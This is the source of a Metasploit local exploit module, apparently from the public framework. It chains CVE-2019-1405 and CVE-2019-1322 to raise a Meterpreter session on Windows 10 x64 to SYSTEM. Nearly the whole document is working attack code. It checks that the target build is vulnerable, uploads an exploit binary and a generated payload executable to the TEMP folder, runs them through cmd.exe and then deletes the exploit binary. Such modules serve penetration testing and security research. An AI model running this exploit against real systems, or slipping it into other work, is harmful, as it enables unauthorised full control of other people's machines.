1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability', 'Description'=> %q( This exploit uses two vulnerabilities to execute a command as an elevated user. The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to NT AUTHORITY\LOCAL SERVICE The second (CVE-2019-1322) leverages the Update Orchestrator Service to elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM. ), 'License'=> MSF_LICENSE, 'Author' => [ 'NCC Group',# Original discovery (https://www.nccgroup.trust/uk/) 'hoangprod',# PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets'=> [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 12 2019', 'References' => [ ['CVE', '2019-1322'], ['CVE', '2019-1405'], ['EDB', '47684'], ['URL', 'https://github.com/apt69/COMahawk'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'], ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => false } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('WRITABLE_DIR', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXPLOIT_TIMEOUT', [true, 'The number of seconds to wait for exploit to finish running', 60]), OptInt.new('EXECUTE_DELAY', [true, 'The number of seconds to delay between file upload and exploit launch', 3]) ]) end def exploit exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14) payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe') payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe') temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP') payload_path = "#{temp_path}\\#{payload_name}" exploit_path = "#{temp_path}\\#{exploit_name}" payload_exe = generate_payload_exe # Check target vprint_status("Checking Target") validate_active_host validate_target fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path) # Upload Exploit vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}") ensure_clean_destination(exploit_path) exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe') write_file(exploit_path, exploit_bin) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") # Upload Payload vprint_status("Uploading Payload") ensure_clean_destination(payload_path) write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") print_warning("This exploit requires manual cleanup of the payload #{payload_path}") # Run Exploit vprint_status("Running Exploit") print_status("It may take a moment after the session is established for the exploit to exit safely.") begin cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60) rescue Rex::TimeoutError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Caught timeout.Exploit may be taking longer or it may have failed.") end vprint_status("Cleaning up #{exploit_path}") ensure_clean_destination(exploit_path) end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362') end end def ensure_clean_destination(path) return unless file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end |